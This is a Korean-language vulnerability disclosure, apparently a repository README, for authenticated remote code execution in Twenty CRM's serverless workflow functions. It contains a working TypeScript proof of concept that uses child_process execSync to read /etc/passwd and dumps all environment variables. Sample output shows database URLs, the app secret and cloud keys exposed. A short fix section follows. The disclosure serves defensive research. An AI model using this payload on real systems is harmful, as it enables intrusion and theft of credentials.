
Twenty CRM의 샌드박스 처리되지 않은 서버리스 워크플로우 함수를 통한 인증된 원격 코드 실행 개념 증명으로, 임의의 Node.js 명령 실행 및 환경 변수 노출을 허용합니다.
제품: Twenty CRM
취약점: 서버리스 워크플로우 함수를 통한 원격 코드 실행 (RCE)
심각도: 치명적
영향을 받는 구성 요소: 워크플로우 자동화 (코드 - 서버리스 함수)
테스트 버전: v1.15.0
이 저장소는 Twenty CRM 워크플로우 엔진의 치명적인 취약점을 문서화합니다. "코드 - 서버리스 함수" 구성 요소는 인증된 사용자가 임의의 Node.js 코드를 실행할 수 있게 합니다. 샌드박싱이 부족하여 child_process 모듈을 가져와 호스트 서버에서 시스템 수준 명령을 실행할 수 있습니다.
이 애플리케이션은 사용자가 코드 실행 단계를 포함하는 사용자 정의 자동화 워크플로우를 생성할 수 있게 합니다. 이는 데이터 조작을 위한 것이지만, 실행 환경은 Node.js 내장 모듈 또는 기본 운영 체제에 대한 접근을 적절히 제한하지 않습니다.
공격자는 child_process 라이브러리의 execSync를 활용하여 다음을 수행할 수 있습니다:
cat, ls, whoami)./etc/passwd).process.env), 데이터베이스 자격 증명, API 키 및 애플리케이션 비밀 노출.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. 원격 명령 실행: 시스템 사용자 읽기
const output = execSync('cat /etc/passwd').toString();
// 2. 정보 공개: 모든 환경 변수 덤프 (비밀)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
코드 개요
워크플로우가 성공적으로 실행되고 시스템 데이터를 반환합니다.
시스템 파일 접근 (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
노출된 환경 변수:
process.env 덤프는 중요한 구성 세부 정보를 노출했습니다:
PG_DATABASE_URL (데이터베이스 자격 증명)APP_SECRET (서명 키)REDIS_URLAWS_ACCESS_KEY (구성된 경우)이 취약점은 (워크플로우를 생성할 권한이 있는) 인증된 사용자가 전체 시스템 손상을 달성할 수 있게 합니다.
이 문제를 해결하려면 "서버리스 함수" 기능에 적절한 격리가 필요합니다.
child_process, fs, net과 같은 민감한 Node.js 모듈에 대한 접근을 비활성화합니다.